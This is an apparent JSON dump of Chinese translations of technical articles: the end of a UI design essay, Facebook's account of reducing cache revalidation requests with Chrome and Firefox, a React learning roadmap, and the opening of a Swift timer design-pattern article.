设计最重要的方面，因为它[占据了网页的 95%](https://ia.net/know-how/the-web-is-all-about-typography-period)，是信息交流的驱动力量。\n\n\n\n\n尽管像 modular scale 这样的系统可以应用在尺寸和行距上，但是字体族和风格是被限制的。一个 UI 布局不应该超过两个字体类型和多个字重。规则可以拓展到如何应对摘要和标题。\n\n\n\n#### 颜色\n\n\n\n\n使用调色板很容易过度用心。几种色调就可以产生一个充足并且一致的视觉效果。通常在一开始我们有 [5  种色卡](http://www.colourlovers.com/palette/15/tech_light)就够了。\n\n\n\n\n\n\n\n\n![](http://ac-Myg6wSTV.clouddn.com/fc3b8fb6c99856d9deb4.jpeg)\n\n\n\n\n\n\n\n诸如 Adobe Color CC 之类的工具可以使预定义一个调色板变得非常容易。\n\n\n\n\n\n大部分品牌应该采用了一个主要的或者重要的颜色以及一些中立的或者差异的色调来实现。一开始的时候，界面中并不需要用到 15 种不同明度的颜色。最佳的做法应该是从单一的明度起步然后逐步增加更多不同的明度。\n\n#### 图片\n\n\n\n我们如何把图片插入到 UI 中在很大程度上是由内容的上下文所决定的。如果我们对那个有一个大致的了解，我们可以为我们的图片创建一个起始点，这些图片有着比例，尺寸，形状和论述等等的变量。我们可能会发现我们不需要那么多。\n\n\n\n\n限制我们图片的变量可以强制的获得更好的一致性，并且使得在长期过程中管理图片资源变得更加容易。这对标志来说也是一样。\n\n\n\n![](http://ac-Myg6wSTV.clouddn.com/d49c1d37d22011c9d42d.jpeg)\n\n\n\n\n\n\n\n对于图片的比例和尺寸我们确实需要的有多少变量？\n\n\n\n\n\n\n\n\n\n\n\n\n* * *\n\n\n\n\n\n\n\n\n\n### 2\\. 尽早的创建一个风格指南\n\n\n作为一个概念上的 UI 项目，创建和维护一个风格指南或者模式库变得越来越重要。这将建立设计准则来帮助项目扩展，维护节奏感和一致性。如果我们正在事先定义变量，为它们写文档是一个好的方法。相比于没有文档来说，拥有一份文档在未来进行决策的时候会更加容易。\n\n\n根据项目的情况，有时候创建一个风格指南是一件奢侈的事，经常需要依据未来的计划进行改动。这也是为什么大部分风格指南都在最后一分钟或者是在项目完成后才准备好，当然这仍然是个好习惯。但是对于风格指南来说有着大量致力于预期设计和发展的[主张和论证](https://www.smashingmagazine.com/2010/07/designing-style-guidelines-for-brands-and-websites/#why-create-a-style-guide)，它可以为早期概念化打好坚实基础提供帮助。\n\n\n\n\n> 在开始的时候正确创建一个基本的风格指南不仅可以早早建立原则来减少设计抉择，还可以作为一个基础设施帮助参与和添加主要的内容。\n\n在开始的时候制作一个东西不意味着它需要是完整的——可以差的很远。这些风格在早期总是会演变出许多的可能性，一个项目变得越大，它的边界也就越清晰越严谨。\n\n\n\n\n\n\n\n\n\n\n\n* * *\n\n\n\n\n\n\n\n\n\n### 3\\. 基于模块的优先级和适应性\n\n\n\n在基于模块的设计系统中，例如 Brad Frost 的[原子设计](http://atomicdesign.bradfrost.com/)，布局可以在具体的关键区域外进行制定。模块可以在各种各样的布局里面重复使用。界面被当作系统对待而不是页面，使用基于模式的设计和部署是进程中的一个重要环节。\n\n\n\n这是一个很好的方法，它使得 UI 设计更加容易管理，但是为了使它更加有效率我们不得不优先考虑关键区域，并让关键区域周围的所有内容去适应它们。这样将会相应的确定[视觉连贯性](https://about.futurelearn.com/blog/visual-connections-in-modular-design-systems/)。\n\n\n\n#### 确定关键区域\n\n\n\n我们的设计应该围绕重要的部分进行。每个区域的优先级是由它在界面内的内容或者功能所决定的，这是这个问题基本答案。\n\n> 通过首先聚焦于重要的区域，我们正在减少此后的设计抉择，因为随后的区域不得不进行变通来适应已经建立的周围内容。\n\n\n\n\n#### 聚焦于关键区域\n\n\n一旦高优先级的区域已经被确定下来，对于这些关键的区域需要高度关注并且将它们完成。这个观点主要是指，在适应次要区域之前，我们需要确保它们是简单可用并且符合所有的要求的。\n\n\n\n\n\n\n\n* * *\n\n\n\n\n\n\n\n\n### 4\\. 让它为每个人工作\n\n\n\n几千年来设计师们都一直尽力做一件事——高效的沟通。我们持续不断地在视觉和听觉方面，迭代重构一个对于用户而言更为友好的沟通方式。\n\n\n>随着我们从广阔的潜在用户群不断的获得信息，为了从中得到尽可能多类型的人群信息，优化获取方式变得迫在眉睫。\n\n\n\n#### 无障碍使用是一件因祸得福的事情\n\n\n\n迎合更广泛的用户听起来意味着更多的工作，把无障碍使用视作为[革新的障碍](https://medium.com/salesforce-ux/7-things-every-designer-needs-to-know-about-accessibility-64f105f0881b#3a51)是很诱人的。但是，遵循最新的标准会是件因祸得福的事，尤其是如果它们已经成为习惯了。\n\n在设计期间的例子包括一系列的要求——我们需要一个最小的字体尺寸用在文本主体，或者是正文和背景资料之间的一些有意义的差异，或者是触摸设备上更大的链接区域。\n\n\n\n#### 这不仅仅是关于残障人士的。\n\n无障碍使用[不仅仅是为了服务残障人士](http://alistapart.com/article/reframing-accessibility-for-the-web#section2)，一些人可能会这样暗示，但其实也是服务于那些用着老式设备和浏览器的用户，他们的设备往往无法支持所有的最新特效和提升。意识到这些标准并且遵守它们将会很自然的减少设计抉择。\n\n\n\n\n\n\n\n\n\n\n\n\n* * *\n\n\n\n\n\n\n\n\n\n### 5\\. 使用经过考验和测试的模式\n\n\n\n事实是，当用户遵循数百个普遍的设计模式的时候，这些设计模式他们已经从多年的使用和了解过程中完全吸收了，所以现在用户凭借直觉发现界面。一旦我们开始打破传统模式并且发展新的趋势，我们会发现让一种新模式完全变成用户的直觉会花费大量的时间。\n> 制作原创的 UI 模式是可行的，但是我们不应该对常见的方式心怀顾忌——毕竟它们的成功是有理由的。\n\n\n\n少考虑重新创造，聚焦于美感是我们的一线希望。基于已建立的模式进行原创的工作仍然是可行的。\n\n\n\n\n\n对于成功的设计模式我们了解和融入的越多，作为设计师我们需要做的选择就越少。我们不需要考虑什么**可能**会起作用，转而去考虑什么**将会**起作用。\n\n\n\n\n\n\n* * *\n\n\n\n\n\n\n\n\n### 最后的注意事项\n\n\n\n对于这些方法中的一部分方法来说，单独使用可能对于减少我们的思考量和抉择帮助不大，或者说无法大幅度的改善我们的设计。但是把它们合并在一起，持续获取好的反馈，可以使得设计更好 UI 的这件事变得相当容易。\n\n\n\n\n"
  },
  {
    "path": "TODO/this-browser-tweak-saved-60%-of-requests-to-facebook.md",
    "content": "> * 原文地址：[This browser tweak saved 60% of requests to Facebook](https://code.facebook.com/posts/557147474482256)\n* 原文作者：[Nate Schloss ](https://www.facebook.com/n8s) [Ben Maurer ](https://www.facebook.com/bmaurer)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[vuuihc](https://github.com/vuuihc)\n* 校对者：[lorinlee](https://github.com/lorinlee)、[Airmacho](https://github.com/Airmacho)\n\n# 这项浏览器调整使 Facebook 收到的网络请求减少了 60% #\n\n在过去两年里，我们 Facebook 一直与浏览器厂商合作，以求改进浏览器的缓存效果。合作的成果是，Chrome 和 Firefox 最近推出的功能使其缓存机制在我们和整个网络上的效率显著提高。在这些改进的帮助下，发向我们服务器的静态资源请求数量减少了 60％，因此大大提高了网页加载时间。（静态资源是指服务器从磁盘上读取的文件，服务器不用运行任何额外的代码便能对外提供它们）这篇文章将详细说明为了得到这样的效果，我们联合 Chrome 和 Firefox 做了什么 —— 不过我们需要先定义一些概念和语义环境，这有助于解释我们需要解决的问题。首先要讲的是 —— 重新验证。\n\n## 每次重新验证意味着另一个请求 ##\n\n当你浏览网页时，浏览器经常会重复使用相同的资源，例如不同页面中相同的 logo 或 JavaScript 代码。如果浏览器需要重复地下载这些资源，是非常浪费的。\n\n为了避免重复下载，HTTP 服务器可以为每个请求指定过期时间和验证机制，这可以指示浏览器在资源过期之前不需要重复下载。过期时间通过 HTTP header 中的 Cache-Control 字段发送，它告诉浏览器可以在什么时间内重复使用最新的响应。而验证机制允许响应即使过期也可以被浏览器重复使用。它允许浏览器向服务器确认资源是否仍然有效，是否可重复使用之前的响应。验证机制通过HTTP header 中的 Last-Modified 或 Etag 字段定义。\n\n下面这个示例中的资源会一个小时后过期，同时它具有 Last-Modified 验证机制。\n\n```\n    $ curl https://example.com/foo.png\n    > GET /foo.png\n    \n    < 200 OK\n    < last-modified: Mon, 17 Oct 2016 00:00:00 GMT\n    < cache-control: max-age=3600\n    <image data>\n```\n\n在这个示例中，在接下来的一小时内，接收到此响应的浏览器可以重复使用它，无需再向 example.com 发送请求。之后，浏览器必须通过发送条件请求来重新验证资源，以确认图片是否仍是最新的：\n\n```\n    $ curl https://example.com/foo.png -H 'if-modified-since: Mon, 17 Oct 2016 00:00:00 GMT'\n    > GET /foo.png\n    > if-modified-since: Mon, 17 Oct 2016 00:00:00 GMT\n    \n    如果图片没被修改，返回：\n    < 304 Not Modified\n    < last-modified: Mon, 17 Oct 2016 00:00:00 GMT\n    \n    < cache-control: max-age=3600\n    如果图片被修改了，则返回：\n    < 200 OK\n    < last-modified: Tue, 18 Oct 2016 00:00:00 GMT\n    < cache-control: max-age=3600\n    <image data>\n```\n\n如果资源未被修改，则服务器会发送未修改（304）响应。这比再次传输整个资源要好，因为要传输的数据更少，但是它不会消除浏览器与服务器通信带来的延迟。每次服务器返回未修改（304）响应时，浏览器早已拥有了它想要的资源。我们希望通过允许客户端缓存更长时间来避免这些浪费的重新验证。\n\n## 指示长时间内无需重新下载 ##\n\n重新验证让我们面对一个棘手的问题：过期时间应该是多久？如果你设定一个小时的过期时间，浏览器将必须每小时都与服务器通信，以确认资源是否被修改。许多像 logo 或 JavaScript 代码这类的资源很少改变; 在这些情况下每小时检查是不必要的。另一方面，如果过期时间很长，浏览器将一直从缓存中获取资源，就有可能会显示过期的资源。\n\n为了解决这个问题，Facebook 使用内容定址 URL 的概念。我们的 URL 不是描述逻辑资源的 URL（如『logo.png』，『library.js』），而是我们内容的哈希。每次发布网站时，对每个静态资源进行哈希。我们维护一个数据库来存储这些哈希值并将哈希值映射到它们的内容。当服务器提供资源时，我们创建一个具有哈希值的 URL，而不是按名称提供。例如，如果 logo.png 的哈希是 abc123，我们使用URL http://www.facebook.com/rsrc.php/abc123.png。 \n\n因为该方案使用文件内容的哈希作为 URL，所以它提供了重要的保证：内容定址 URL 的指向的内容从不改变。因此，我们为所有内容定址 URL 提供很长的过期时间（目前一年）。此外，因为 URL 的内容永远不会改变，对于所有有关静态资源的条件请求，我们的服务器将始终响应 304 未修改。这节省了CPU周期，同时让我们更快地响应此类请求。\n\n## **刷新**带来的问题 ##\n\n浏览器的刷新按钮使得用户可以获取当前页面的更新的版本。当点击刷新时，即使该网页尚未过期，浏览器也会重新验证当前所在的网页。然而除此之外，还会重新验证页面上的所有子资源 —— 如图像和 JavaScript 文件。\n\n![](https://fb-s-b-a.akamaihd.net/h-ak-xft1/v/t39.2365-6/16180599_874188502721113_3142477830743392256_n.jpg?oh=9c4bf394a5afd5a0131ba067d08276d7&oe=59014047&__gda__=1497375933_9340577d36aaabad4acd088c4fc18028) \n\n子资源的重验证意味着即使用户已经访问过他们正在刷新的站点，每个子资源仍必须请求到服务器重验证一次。在使用内容定址 URL （如Facebook）的网站上，这些重新验证请求是徒劳的。 内容定址 URL 的内容从不改变，因此重新验证总是得到 304 未修改响应。 换句话说，重新验证、请求和花费在整个过程上的资源在一开始就是不必要的。 \n\n## **条件请求**太多 ##\n\n2014 年，我们发现 60％ 的静态资源请求会得到 304 响应。由于内容定址 URL 永远不会改变，这意味着有机会优化掉 60％ 的静态资源请求。 在 [Scuba](https://www.facebook.com/notes/facebook-engineering/under-the-hood-data-diving-with-scuba/10150599692628920/) 的帮助下 ，我们开始研究条件请求的数据。我们注意到，不同浏览器的表现之间存在巨大差异。\n\n![](https://fb-s-c-a.akamaihd.net/h-ak-xat1/v/t39.2365-6/16180519_427963810928354_1151983436504760320_n.jpg?oh=1ac60c43dd09ea9cabfeab1066c2d1ed&oe=58FDE361&__gda__=1493046161_b41dc531b43ad09f295b50d434b0fd5e)\n\n发现 Chrome 浏览器有最多的 304 响应之后，我们开始与他们合作，想搞清楚为什么它发送这么多的条件请求。\n\n## Chrome ##\n\n[Chrome 的一行源码](https://l.facebook.com/l.php?u=https%3A%2F%2Fchromium.googlesource.com%2Fchromium%2Fsrc%2F%2B%2F540d0cca0eba6e24679387bb67e49d459969e6e9%2Fthird_party%2FWebKit%2FSource%2Fcore%2Ffetch%2FResourceFetcher.cpp%23694&amp;h=ATO2x3tC1sAclxR_QrD21IcupxuN2NbANCU78fkU46N01s58gKPyZh4mtvMiF7I5gLkyTtC4ZPorIb3D36SnOmYCKMGvCCJfe0yiBDxkUMIr-48kqo4HVmUJe76xQv-OkQ&amp;s=1) 回答了我们的问题。这一行代码列出了几个 Chrome 可能会要求重新验证页面上的资源的原因，包括了用户点击刷新。其中一个例子是，我们发现 Chrome 会重新验证 POST 请求返回的网页上的所有资源。Chrome 团队告诉我们，这样做的理由是，POST 请求往往是发生在更改网页信息的情况（例如进行购买或发送电子邮件），此时用户希望拥有最新的网页。但是，像Facebook这样的网站在登录过程中会使用 POST 请求。每次用户登录到 Facebook 时，浏览器都会忽略其缓存，并重新验证所有以前下载的资源。我们与 Chrome 的产品经理和工程师合作，确定了此行为是 Chrome 独有的，而且是不必要的。在修正这一点后，Chrome 的条件请求占所有请求的比例从 63％ 降低到了 24％。\n\n![](https://fb-s-c-a.akamaihd.net/h-ak-xta1/v/t39.2365-6/16179999_1203000506482917_4550616913532682240_n.jpg?oh=78c4419eacba0b55767eb83d06d46bcd&oe=593AADEE&__gda__=1496929877_0d2c692fdd8cb12489a92c13a520d3c0)\n\n我们与 Chrome 在登录问题上的合作是一个很好的例子，展现了 Facebook 如何和浏览器团队合作来快速解决一个错误。一般来说，当我们查看数据时，我们经常按浏览器分开查看。如果我们发现一个浏览器的数据异常，它表明这个浏览器中的某些东西可以优化。 然后，我们可以与浏览器厂商一起解决问题。\n\n虽然有些成果，但来自 Chrome 的条件请求的百分比仍然高于其他浏览器，这表明仍然有一些改进的机会。我们开始研究刷新的过程，结果发现 Chrome 将同址访问视为刷新，而其他浏览器则不会这样。同址访问是指用户在地址栏输入当前已加载网页的网址并尝试访问。Chrome 修复了同址访问的问题，但我们没有看到很大的提升效果。我们开始跟 Chrome 小组讨论改变刷新按钮的行为。\n\n改变刷新按钮的重新验证机制是对 Web 上的长期设计的更改。然而，讨论到这个问题，我们意识到开发者不可能会依赖这种机制。网站的最终用户不知道资源过期时间和条件请求是什么。虽然一些用户可能在他们想要更新页面时按下刷新按钮，但 Facebook 的统计数据显示，大多数用户都不使用刷新按钮。因此，如果开发人员正在更改过期时间为 X 的资源，则开发人员必须情愿用户使用旧的数据直至其过期，或者用户必须修改 URL。如果开发人员已经更改了资源，那么没有理由重新验证子资源。\n\n业界对于如何处理这个问题有一些争论，我们提出了一个折中的方案，max-age 较大的资源永远不被重新验证，但是对于 max-age 较短的资源将使用旧的策略。Chrome 团队考虑这个问题之后决定对所有资源进行应用新的策略。你可以在 [这里](https://l.facebook.com/l.php?u=https%3A%2F%2Fblog.chromium.org%2F2017%2F01%2Freload-reloaded-faster-and-leaner-page_26.html&amp;h=ATM_ZozpQRZEWgHaKWKNv4OdlqdB-_GfKB2c_SkvV9sXFcPB8GCAHq9o1i-8mfvcG1vINh49zimRYr4jkmvew54-gpW9Vftqw0No-D-zYywwjLVHcCuq7WyfsZrQAmRv3g&amp;s=1) 查看他们的处理过程。由于 Chrome 的一揽子方针，所有开发人员和网站自身无需任何改变就可受益于这一改进。\n\n![](https://fb-s-b-a.akamaihd.net/h-ak-xtp1/v/t39.2365-6/16327422_662197940655602_5747554978155724800_n.jpg?oh=a3e0473f124544ff94d2f2f85080d92e&oe=59342FE7&__gda__=1496491292_e0d6d4e4f83041883f1ebddba4455f61) \n\n在这个例子中可以看到，以前在刷新的页面上每个子资源都需要一个网络请求，而现在不同，可以直接从缓存中读取每个文件，从而不会被网络请求阻塞。\n\nChrome 发布这个终极改进之后，来自 Chrome 浏览器的条件请求的百分比急剧下降 —— 对于 Facebook 和用户是一个皆大欢喜的事情，服务器需要响应的 304 未修改的请求减少了，用户则能够更快地刷新网页。\n\n## Firefox ##\n\n解决了 Chrome 的问题后，我们开始与其他浏览器厂商讨论刷新按钮的行为。我们向 Firefox [提交了一个 bug](https://l.facebook.com/l.php?u=https%3A%2F%2Fbugzilla.mozilla.org%2Fshow_bug.cgi%3Fid%3D1267474&amp;h=ATMZWq3XILESCXL2Uo0bOYK533wWyDAAKD69lM0YUVqNXRjzNWDov_sp0BQof83Fsl52mBvwlvz22SSldeAv-UDG9lpZrsbjcMN4mGIuDrceTqp7-CZtrD3i--RFcltAuA&amp;s=1) ，但是他们选择不改变刷新按钮长期以来默认的行为。相反，他们团队实现了我们的工程师提出的一个[方案](https://l.facebook.com/l.php?u=https%3A%2F%2Fwww.ietf.org%2Fmail-archive%2Fweb%2Fhttpbisa%2Fcurrent%2Fmsg25463.html&amp;h=ATPDjZ49Z-nBPp_GzP9c6-ZBmvCdvij1zMObscv3RPpz5Pw5om726NFaOzB4xc-5W5qbZaitgKQdMf534Lgv4bG8-I8CM59tgSMq26urQRjo6Ix626fJ77q5tK-_XhnWmQ&amp;s=1)，给某些资源添加新的 Cache-Control header，告诉浏览器这个资源永远不需要被重新验证。这个 header 背后的想法是，它是开发人员给予浏览器的一个额外的承诺，承诺这个资源在其最大生命周期内永远不会改变。Firefox选择以 `cache-control:immutable`  header 的形式实现这个指令。\n\n有了这个添加的 header，现在向 Facebook 请求资源时将会得到类似下面这样的响应：\n\n```\n$ curl https://example.com/foo.png\n> GET /foo.png\n    \n< 200 OK\n< last-modified: Mon, 17 Oct 2016 00:00:00 GMT\n< cache-control: max-age=3600, immutable\n<image data>\n```\n\nFirefox 很快实现了 `cache-control:immutable` 这一机制，并在 Chrome 全面发行其对刷新行为的终极改进的时候推出了这一机制。你可以在 [这里](https://l.facebook.com/l.php?u=https%3A%2F%2Fhacks.mozilla.org%2F2017%2F01%2Fusing-immutable-caching-to-speed-up-the-web%2F&amp;h=ATPlpvy6viRY3IThq2PSQFIuzSkd6fGeHb26V6X7kf8LWPShGs1CaOVLU7heN6SCS4yEBEFQSgv1phHYMZoT8v3aRo_P1xc6n_KhkyvOg6mJKNcmcf0NJ4-py-mhnQBqXg&amp;s=1) 阅读更多关于 Firefox 的改进的内容。\n\n按照 Firefox 的方案，我们会有些开发成本。但是我们修改服务端代码添加 immutable header 后，得到了一些很好的结果。\n\n## 改进之后 ##\n\nChrome 和 Firefox 的改进措施使得从这些现代浏览器发出的重新验证请求大大减少。这减少了我们服务器的带宽压力，更重要的是提高了访问 Facebook 的用户的加载速度。\n\n不幸的是，这种改变是难以准确测量改进效果的 —— 浏览器的新版本包含如此多的改进，几乎不可能隔离特定改进的影响。不过，在测试此改进时，Chrome 团队执行 A/B 测试后发现使用 3G 网络的手机用户，所有网站中 90% 的刷新速度提高了 1.6 秒。\n\n## 总结 ##\n\n这是一项棘手的工作，因为我们要求改变长期存在的网络行为。但它表明了 Web 浏览器**可以**而且**已经**与 Web 开发人员共同努力，为每个人创造更好地网络环境。我们很高兴在 Chrome 和 Firefox 团队中有与我们建立良好的合作关系的朋友，并对我们能够持续合作以改善每个人的网络而感到兴奋。"
  },
  {
    "path": "TODO/timeline-for-learning-react.md",
    "content": "> * 原文链接 : [Your Timeline for Learning React](https://daveceddia.com/timeline-for-learning-react/)\n* 原文作者 : [DAVE CEDDIA](https://daveceddia.com/timeline-for-learning-react/)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [aleen42](http://aleen42.github.io/)\n* 校对者: [llp0574](https://github.com/llp0574), [jiaowoyongqi](https://github.com/jiaowoyongqi)\n\n以下所谈及的，就是为你定制的 React 学习路线。\n\n为了能稳固基础，我们一定要逐步地来进行学习。\n\n倘若你正在建造一间房子，那么为了能快点完成，你是否会跳过建造过程中的部分步骤？如在具体建设前先铺设好部分石头？或直接在一块裸露的土地上先建立起墙面？\n\n又假如你是在堆砌一个结婚蛋糕：能因为上半部分装饰起来更有趣，而直接忽略了下半部分？\n\n不行吗？\n\n当然不行。众所周知，这些做法只会导致失败。\n\n因此，不要想着通过接触 React 来将 ES6 + Webpack + Babel + React + Routing + AJAX 这些知识一次性学好。因为想一下，就能明白这难道不正是导致学习失败的原因吗？\n\n既然我把该文章称作是一条学习路线，那么每一次都应该走好每一步。既不要尝试去跨越，也不要贪步。\n\n一步一脚印。若把其置身于每一天的那么一点时间，那么也许几周就能把整个学习完成。\n\n制定该路线的主要目的在于：使你在学习过程中避免头脑不堪重负。因此，请脚踏实地地去学习 React 吧。\n\n当然，你也可以为整个学习过程[制定一个可打印的 PDF 文件](https://daveceddia.com/timeline-for-learning-react/#signup-modal)，以便在学习过程中能够查记。\n\n## 第零步：JavaScript\n\n\n在学习之前的你，理应对 JavaScript 有所了解，或至少是 ES5 标准下的 JavaScript。可若了解甚少，那么，你就应该停下手头上的工作，学习好该[基础部分](https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/JavaScript_basics)后，*才可*迈步前行。\n\n可倘若早已熟知 ES6 所带来的新特性，那么请继续。因为如你所料，React 的 API 接口在 ES5 和 ES6 两标准间存在着较大的差异性。所以对于你来说，熟悉两种标准其特性的不同至关重要。尽管发生了异常，你也可以通过两种标准之间的转换，寻找出广泛有效的答案。\n\n## 第半步：NPM\n\nNPM 在 JavaScript 世界中，可谓是软件管理方的王者。然而，在这里你却并不需要学习太多关于 NPM 自身的东西。只要在安装好后 [（连同 Node.js）](https://nodejs.org)，学习如何使用其安装软件即可。（`npm install <package name>`）\n\n## 第一步：React\n\n学习一个新的编程技术，我们往往会从熟悉的 [Hello World](https://daveceddia.com/test-drive-react) 教程开始。首先，我们可以通过使用 React 官方教程所展示的原生 HTML 文件来实现，而该文件包含有一些 `script` 标签。其次，我们还可以通过使用像 React Heatpack 这样的工具来快速上手。\n\n尝试一下该[三分钟运行起 Hello World 的教程](https://daveceddia.com/test-drive-react)。\n\n## 第二步：构建后摒弃\n\n由于这一步是一个棘手的中间过程，所以往往会有大量的人忽略了该步。\n\n谨记，请勿犯这样的错误。因为，倘若对 React 的概念没有一个稳固的掌握而擅自前行，那么，最后只会对自己的大脑搪塞过多的知识，以致遗忘。\n\n当然，该步需要一定时间的斟酌：该构建什么呢？是工作中的一个原型项目？还是能贴合于整个框架的一些 Facebook 克隆项目呢？\n\n其实，我们应该构建的都不是这些项目。因为，它们要不是包裹过甚，以致无甚可学；要不是过于庞大，以致成本过高。\n\n尤其是工作中的“原型项目”，它们更为糟糕。因为在你心目中，*早已明白*这些项目并不会占有一席之地。况且，该类项目往往会长期驻留在原型阶段，或变成线上的软件。最终，你将无法摒弃或重写。\n\n此外，把原型项目当作学习的项目将会为带来大量的烦恼。对于你来说，你可能会就*未来的因素*考虑一切可能发生的事情。而当你*认为*这不仅仅是一个原型的时候，你就会产生疑惑 —— 是否要测试一下呢？我应该要保证架构能延伸扩展……我需要延后重构的工作吗？还是不进行测试呢？\n\n为了解决该问题，我希望能用上我所写的一篇指引《[为 Augular 开发者所准备的 React](https://daveceddia.com/react-for-angular-developers)》：一旦你完成了 “Hello World” 的基础课程，你将如何去学习 ”think in React” 的课程。\n\n在这里，我有一些个人的提议给到大家：那就是，理想的项目是介乎于 “Hello World” 和 ”All of Twitter“ 之间。\n\n另外，请尝试去构建一些官方文档列表中所展示的项目（TODOs、beers、movies），然后，借此学会数据流（data flow）的工作原理。\n\n当然，你也可以把一些已有的大型 UI 项目（Twitter、Reddit、Hacker News等）分割成一小块来构建 —— 即把其瓜分成组件（components），并使用静态的数据去进行构建。\n\n总的来说，我们需要构建的，理应是一些小型且可被摒弃的应用程序项目。这些项目*必须是*可摒弃的。否则，你将深陷于一些不为重要的东西，如可维护性和代码结构等。\n\n值得提醒的是，如果你曾经[订阅于](https://daveceddia.com/timeline-for-learning-react/#signup-modal)我，那么当《[为 Angular 开发者准备的 React](https://daveceddia.com/react-for-angular-developers)》发布的时候，你将会第一时间收到通知。\n\n## 第三步：Webpack\n\n构建工具是学习过程中的一个主要的难点。搭建 Webpack 的环境会让你感觉是一件*繁杂的工作*，而且，完全不同于 UI 代码的书写。这就是为什么我要将 Webpack 放在了整个学习路线的第三步，而不是第零步。\n\n在这里，我推荐一篇名为《[Webpack —— 令人疑惑的地方](https://medium.com/@rajaraodv/webpack-the-confusing-parts-58712f8fcad9)》的文章，作为对 Webpack 的简介。此外，该文章还讲述了 Webpack 本身所具有的一些思考方式。\n\n一旦你清楚 Webpack 所负责的工作（打包生成*各种的文件*，而不仅仅是 JS 文件） —— 以及其中的工作原理（适用于各种文件类型的加载器），那么，Webpack 对于你来说将会是一个更为欣喜的部分。\n\n## 第四步：ES6\n\n如今，进入了整个路线的第四步。上述的所有将会作为下面的*铺垫*。之前，在学习 ES6 过程中，所学到的部分也将会让你写出更为利落简洁的代码 —— 以及性能更高的代码。回想起一开始那时候，某些问题本不应卡住在那 —— 但现在的你，已然清楚知道为啥 ES6 能完美地融合在其中。\n\n在 ES6 中，你应该学习一些常用的部分：箭头函数（arrow functions）、let/const、类（classes）、析构（destructuring）和 `import`\n\n## 第五步：Routing\n\n有些人会把 React Router 和 Redux 这两个概念混为一谈 —— 但是，它们之间并没有任何的关系或依赖。因此，你可以（也理应）在深入 Redux 之前学习如何去使用 React Router。\n\n由于在之前“think in React”的教程中，积累了坚实的基础。因此，相比于第一天学习 React Router，我们此时更能从基于组件（component-based）的构建方式中，领悟出更多的精髓。\n\n## 第六步：Redux\n\nDan Abramov，作为 Redux 的创造人，他[会告诉你们](https://github.com/gaearon/react-makes-you-sad)不要过早地接触 Redux。其实，这是有缘由的 —— Redux 其复杂度在早期的学习过程中，将会带来灾难性的影响。\n\n虽然，在 Redux 背后所隐藏着的原理相当简单，但想要从理解跃至实践，却是一个很大的跨度。\n\n因此，重复第二步所做的：构建一次性的应用程序。通过些许的 Redux 经验，去逐渐理解其背后的工作原理。\n\n## 非步骤\n\n在前面列出的步骤中，你曾否看见过”选择一个模板项目“的字眼吗？并没有。\n\n若仅通过挑选大量模板项目中的其中一个，去深入学习 React。那么，后面将只会带来大量的疑惑。虽然这些项目会含有一切可能的库，且规定要求一定的目录结构 —— 但对于小型的应用程序，或开始入门的我们来说，并不需要。\n\n也许你会说，“Dave，我可并不是在构建一个小应用。我所构建的，是一个服务于上万用户级别的复杂应用！”……那么，请你重新阅读一下关于原型的理解\n\n## 该如何应对\n\n对于 React 来说，虽然有大量的学习计划需要采取，且有大量的东西需要学习 —— 但一切需要循规蹈矩，一步一脚印。\n\n虽说我已提供了一系列的步骤，那如果你在学习的过程中会忘记了步骤的顺序或跳过了某一步，那怎么办？\n\n你会想，要是有一个能监督的方式就最好了……\n\n的确是有：我已经把上述的学习路线整理成一个可打印的 PDF 文件，您仅需注册便可获取！\n"
  },
  {
    "path": "TODO/timer-problems.md",
    "content": ">* 原文链接：[Design patterns for safe timer usage](http://www.cocoawithlove.com/blog/2016/07/30/timer-problems.html)\n* 原文作者：[Matt Gallagher](http://www.cocoawithlove.com/about/)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[mypchas6fans] (https://github.com/mypchas6fans)\n* 校对者：[Graning] (https://github.com/Graning) [lizwangying] (https://github.com/lizwangying)\n\n# 安全的计时器设计模式\n\n本文版权所有者为 [Matt Gallagher](http://www.cocoawithlove.com)，原文链接在 [Design patterns for safe timer usage](http://www.cocoawithlove.com/blog/2016/07/30/timer-problems.html)。 译文的翻译和发表得到了原作者的许可。\n\n\n计时器是一个非常难以正确使用的工具。\n\n延迟调用和单次计时器使用非常简单，但它们有时会陷入无法维护的反模式，有时很容易在控制和 handler 上下文之间出现序列问题。\n\n和我一起看看有关计时器的 bug 和潜在维护问题吧。\n\n> **注意**：本文的代码会使用 Swift 3 版本的 Dispatch API 演示单次计时器。但许多共通原则适用于其他各种周期计时器和异步计时器 API。\n\n## 计时器的目的\n\n计时器的问题通常在写代码之前就开始了。\n\n有一个概念上的问题：计时器的*接口*看起来是要让某个功能延迟一定时间。严格来说，延迟是它们所做的事情，但绝不是其*目的*所在。\n\n单次计时器的目的是为某个临时资源执行生存期结束后的操作。比如 Session 计时器到期删除 Session，超时会关闭闲置的连接，UI 计时器会删除视图元素或重置视图状态，日历事件计时器把事件从待完成变为已完成。\n\n有时，你会发现计时器*看起来*只是一段延时，没有底层的临时资源。最糟的情况是期望被延时的功能可能会在一些先决条件满足*之后*调用。期望独立的代码在一定时间内完成是最糟糕的[耦合](https://en.wikipedia.org/wiki/Coupling_(computer_programming))(并且几乎总是会忽略应该触发其执行的通知)。\n\n反之，周期计时器不一定有这样清晰定义的目的。它可能不断更新同一个资源，可能每次创建或删除单个资源，也可能不依赖持续的资源，只是做一些短暂的工作。\n\n但即使是这种仅仅为了延迟的情况，*延迟状态本身也是一个临时资源*。为了状态的组合、测试、调试，所有状态都应该由数据中的数值清晰表达，延迟状态当然也不例外。\n\n我强调计时器的目的是因为它会带来如下的要求：\n\n1. 一个计时器总是会与一个临时资源紧密联系。\n2. 计时器或临时资源的变化必须引发另一方的变化（即使它们并不一定同步*发生*）\n\n计时器的很多问题都是因为不能满足其中一个要求。\n\n## 延迟调用\n\n在 libdispatch 中，最简单的计时器就是 `DispatchQueue.after`。这就是一个“延迟调用”，仅仅推迟某个功能但不返回引用，所以没有可能取消。\n\n一个基本的 `after` 调用看起来是这样的:\n\n    DispatchQueue.global().asyncAfter(deadline: DispatchTime.now() + .seconds(10)) {\n      // 推迟的代码\n    }\n\n延迟调用有时候在调试过程中很有用，但它们**太容易出问题，不能放心的用到线上代码中去**。\n\n我们看看延迟调用会引发问题的一个最直观场景：\n\n    class Parent {\n      let queue = DispatchQueue(label: \"\")\n      var temporaryChild: Child? = nil\n       \n      func createChild() 